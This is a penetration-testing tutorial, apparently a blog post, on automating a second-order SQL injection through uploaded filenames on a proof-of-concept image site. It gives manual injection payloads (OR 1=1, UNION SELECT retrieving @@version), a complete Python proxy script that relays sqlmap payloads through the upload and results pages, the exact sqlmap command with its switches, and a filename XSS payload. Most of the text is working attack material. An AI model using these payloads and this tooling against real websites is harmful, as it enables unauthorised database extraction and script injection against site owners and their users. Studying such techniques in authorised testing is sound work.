Second Order SQLI: Automating with sqlmap

Title

SQL Injection is one of the most frequents attacks around the history of web application penetration testing, for this reason, is included every year in the Top 1 of OWASP Top 10 vulnerabilities.

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.


What is a Second Order SQL Injection?

Second-order SQL injections occur when an SQL query is injected into the application through an input parameter, but the payload is not incorporated into the same query where the parameter is injected, but it is injected in another query that consumes this attribute. In conclusion, the injection and the response take place in different parts of the website.


Analysis

The following web page is a Proof of Concept website that allows to upload some images to the server, using the endpoint create.php.

Website_1

After a success upload, the image is shown in index.php with the number of views of each image.

Website_2

The source code can be found here.

In a web penetration test, running SQLMap without a previous analysis is quite common but is not effective. The best way to proceed, in my opinion, is to try to perform a manual injection first and proceed to automate the extraction process.

Firstly, a basic injection of a ' character is enough in this case to try to figure if the application is vulnerable. The request is intercepted with burp an the filename is renamed to Jake'.png. The result is the following:

Request

Response

Could you see something weird? The view counter has disappeared… maybe there is an error trying to query it.

Another common payload could be used to try to create a valid SQL syntax Jake ' or '1'='1'#.png, and the result is the following.

Request

Response

Perfect! It seems that we can inject valid SQL syntax. Let’s try a UNION payload to make the data retrieval faster: Jake ' UNION SELECT 101,102,103,104#.png.

Request

Response

We know that the queries inserted in the third value (103) are reflected in the response, therefore Jake ' UNION SELECT 101,102,@@version,104#.png. Shows:

Request

Response


Database Extraction

Now that an injection point has been discovered, is time to automate the database retrieval with sqlmap:

Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

But, there is a problem to achieve a valid automation of the attack, the injection part is in the filename after a valid POST in the create.php endpoint and the result is in the index.php endpoint__.

Although sqlmap has the --second-url and --second-req= attributes, in some situations, using both parameters may not be enough for successful exploitation. A nice approach is to use a custom proxy.

Request

  • 1 Sqlmap points to our localhost proxy
  • 2 The proxy uploads the file to the server using the payload as filename
  • 3 The proxy retrieves the response and executes a regex to present the result to sqlmap
  • 4 Sqlmap tries different payloads until the injection is achieved

The code of the proxy is the following (Python2):

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import parse_qs
import cgi
import requests
import json
import base64
import urllib
import re

class GP(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
    def do_HEAD(self):
        self._set_headers()
    def do_GET(self):
        self._set_headers()

        # Reading payload
        query = parse_qs(self.path[2:])
        payload = query["payload"][0]
        
        # POST file (CHANGE url_Website)
        url = 'http://url_website/sqli/public/create.php'

        # Uncomment to use a real file (name it 1.jpg in the server.py folder)
        #files = {'file': (payload,open('1.jpg','rb'))}

        # Using a b64 magic number to simulate the file 
        files = {'image': (payload,base64.b64decode('/9g='))}
        

        # Uncomment for Burp interception
        
        '''
        proxies = {
                'http': 'http://127.0.0.1:8080',
                'https': 'http://127.0.0.1:8080'
                }

        r = requests.post(url, files=files, proxies=proxies, verify=False)
        
        '''

        # No Burp interception

        # Get response (CHANGE url_Website)

        r = requests.post(url, files=files, verify=False)

        url = "http://url_Website/sqli/public/index.php"
        response = requests.get(url,verify=False)

        # Replace parenthesis to not break regex
        payload = payload.replace(")", "\)")
        payload = payload.replace("(", "\(")
        # regex to serach the response
        z= re.search('<div class=\"imageDiv\">\n.*\n.*\n.*'+payload+'.*\n.*\n.*<\/div>',str(response.text))

        if z:
            self.wfile.write(z.group(0))

        
        
    def do_POST(self):
        self._set_headers()
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={'REQUEST_METHOD': 'POST'}
        )
        print form.getvalue("foo")
        print form.getvalue("bin")
        self.wfile.write("<html><body><h1>POST Request Received!</h1></body></html>")

def run(server_class=HTTPServer, handler_class=GP, port=8088):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print 'Server running at localhost:8088...'
    httpd.serve_forever()

run()

The sqlmap command will be the follow:

python2 sqlmap.py -u http://localhost:8088/?payload= -p payload --suffix="#.png" --technique=U --union-char='hihi' --union-cols=4

  • -u http://localhost:8088/?payload= : Our local proxy to perfom the file upload and the response retrieval.
  • -p payload : Parameter with sqlmaps payloads
  • --suffix="#.png" : Force the end of the filename with #.png to bypass file extension filters and comment the extension to avoid a wront SQL syntax.
  • --technique=U : Force the use of UNION technique as shown in the manual anaylisis.
  • --union-cols=4: Force the use of 4 columns as shown in the manual anaylisis to the the injection.

Triggering the following:


Extra XSS

Filenames are a good place to exploit Cross-Site Scripting (XSS). In this case, with a payload of Jake" onerror="alert( `XSS `)" test=".png the XSS execution is achieved:

Response

Injection into the src value: Response